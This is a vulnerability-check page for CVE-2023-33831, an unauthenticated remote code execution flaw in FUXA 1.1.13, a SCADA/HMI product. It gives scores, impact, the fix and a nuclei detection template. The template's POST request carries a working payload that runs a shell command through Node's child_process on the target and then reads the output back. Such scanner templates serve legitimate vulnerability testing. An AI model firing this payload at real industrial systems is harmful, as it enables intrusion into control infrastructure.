FUXA - Unauthenticated Remote Code Execution

criticalseverity

9.8CVSS score

26%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.

Impact

Unauthenticated attackers can execute arbitrary Node.js code through the runscript API endpoint, potentially compromising the entire SCADA/HMI system and accessing industrial control data.

Fix

Update FUXA to a version newer than 1.1.13 that validates script code and requires authentication for the runscript endpoint.

How to confirm it

Send: POST /api/runscript ; GET /_images/{{filename}}
Positive when: contains in body_1 "Script OK:" AND contains in body_2 "uid" and "gid" and "groups" AND status 200

Run it with nuclei: nuclei -id CVE-2023-33831 -u <target>

The full check

id: CVE-2023-33831

info:
  name: FUXA - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: |
    A remote command execution (RCE) vulnerability in the /api/runscript endpoint of FUXA 1.1.13 allows attackers to execute arbitrary commands via a crafted POST request.
  impact: |
    Unauthenticated attackers can execute arbitrary Node.js code through the runscript API endpoint, potentially compromising the entire SCADA/HMI system and accessing industrial control data.
  remediation: |
    Update FUXA to a version newer than 1.1.13 that validates script code and requires authentication for the runscript endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-33831
    - https://github.com/rodolfomarianocy/Unauthenticated-RCE-FUXA-CVE-2023-33831
    - https://github.com/codeb0ss/CVE-2023-33831-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-33831
    cwe-id: CWE-77
    epss-score: 0.25951
    epss-percentile: 0.97996
    cpe: cpe:2.3:a:frangoteam:fuxa:1.1.13:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: frangoteam
    product: fuxa
    fofa-query:
      - title="FUXA"
      - title="fuxa"
  tags: cve,cve2023,rce,intrusive,frangoteam,fuxa,unauth,vkev,vuln
variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/runscript HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"headers": {"normalizedNames": {}, "lazyUpdate": "null"}, "params": {"script": {"parameters": [{"name": "ok", "type": "tagid", "value": ""}], "mode": "", "id": "", "test": "true", "name": "ok", "outputId": "", "code": "require('child_process').exec('id > ./_images/{{filename}}')"}}}
      - |
        GET /_images/{{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'Script OK:'

      - type: word
        part: body_2
        words:
          - 'uid'
          - 'gid'
          - 'groups'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from